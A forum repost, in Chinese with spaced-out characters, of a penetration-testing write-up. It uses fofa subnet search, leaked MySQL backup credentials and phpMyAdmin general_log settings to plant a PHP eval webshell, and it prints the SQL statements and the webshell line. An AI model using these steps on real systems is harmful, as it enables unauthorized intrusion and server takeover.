搜索

[202] 2021-07-26_【渗透实战系列】17-巧用fofa对目标网站进行getshell

文档创建者：s7ckTeam
浏览次数：43
最后更新：2025-01-16
2021-07-26_【渗透实战系列】17-巧用fofa对目标网站进行getshell 【 渗 透 实 战 系 列 】 | 1 7 - 巧 用 f o f a 对 目 标 网 站 进 行 g e t s h e l l H a c k i n g 黑 白 红   A d m i n   T e a m   2 0 2 1 - 0 7 - 2 6 涉 及 知 识 点 ： 声 明 ： 本 文 仅 用 于 安 全 测 试 。 1 、 目 标 测 试 网 站 地 址 a a . b b . c o m 通 过 信 息 搜 集 获 取 到 ， 该 网 站 地 址 为 i p w 为 x . x . x . x 2 、 f o f a 对 目 标 地 址 C 段 进 扫 描 f o f a 输 入 关 键 字 i p = “ x . x . x . 0 / 2 4 ” 进 行 搜 索 ， 意 外 发 现 c 段 开 着 8 0 9 0 端 口 的 地 址       3 、 打 开 h t t p : / / x . x . x . x : 8 0 9 0 发 现 遍 历 文 件 目 录 ， 且 意 外 发 现 数 据 库 备 份 软 件 和 m y s q l 管 理 页 面                                         信 息 搜 集 目 标 网 站 I P 利 用 f o f a 对 目 标 i p 的 c 段 进 行 搜 索 发 现 数 据 库 备 份 文 件 和 管 理 界 面 登 录 数 据 库 页 面 ， 进 行 写 马 写 马 成 功 ， 获 取 w e b s h e l l
打 开 数 据 库 备 份 文 件 m y s q l b a c k u p . b a t 发 现 账 户 和 密 码 打 开 m y s q l 管 理 页 面 h t t p : / / x . x . x . x / M y S Q L /   发 现 为 p h p M y A d m i n 管 理 页 面 ， 利 用 备 份 文 件 获 取 的 账 户 和 密 码 顺 利 登 录 4 、 p h p M y A d m i n 写 马 p h p m y a d m i n 后 台 g e t s h e l l 的 常 用 手 段 有 以 下 几 种 方 式 ： 1 、 s e l e c t   i n t o   o u t f i l e 直 接 写 入 2 、 开 启 全 局 日 志 g e t s h e l l
执 行 以 下 s q l 语 句 发 现 没 有 写 入 权 限 ， 无 法 用 s e l e c t   i n t o   o u t f i l e 方 法 写 入 s h e l l 。 我 们 再 来 看 一 下 第 二 种 方 法 ， 利 用 全 局 变 量 g e n e r a l _ l o g 去 g e t s h e l l 我 们 将 全 局 日 志 开 启 并 将 保 存 日 志 的 目 录 设 为 w e b 目 录 设 置 成 功 2 、 开 启 全 局 日 志 g e t s h e l l 3 、 使 用 慢 查 询 日 志 g e t s e h l l 4 、 使 用 错 误 日 志 g e t s h e l l 5 、 利 用 p h p m y a d m i n 4 . 8 . x 本 地 文 件 包 含 漏 洞 g e t s h e l l   s h o w   v a r i a b l e s   l i k e   ' % s e c u r e % ' ;   s e t   g l o b a l   g e n e r a l _ l o g = o n ; #   开 启 日 志     s e t   g l o b a l   g e n e r a l _ l o g _ f i l e = ' C : / p h p S t u d y / W W W / y x c m s / h a c k . p h p ' ; #   设 置 日 志 位 置 为 网 站 目 录
此 时 执 行 如 下 语 句 即 可 写 入 w e b s h e l l 到 h a c k . p h p 中 用 蚁 剑 连 接 即 可   s e l e c t   ' < ? p h p   e v a l ( $ _ P O S T [ w h o a m i ] ) ;   ? > '
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理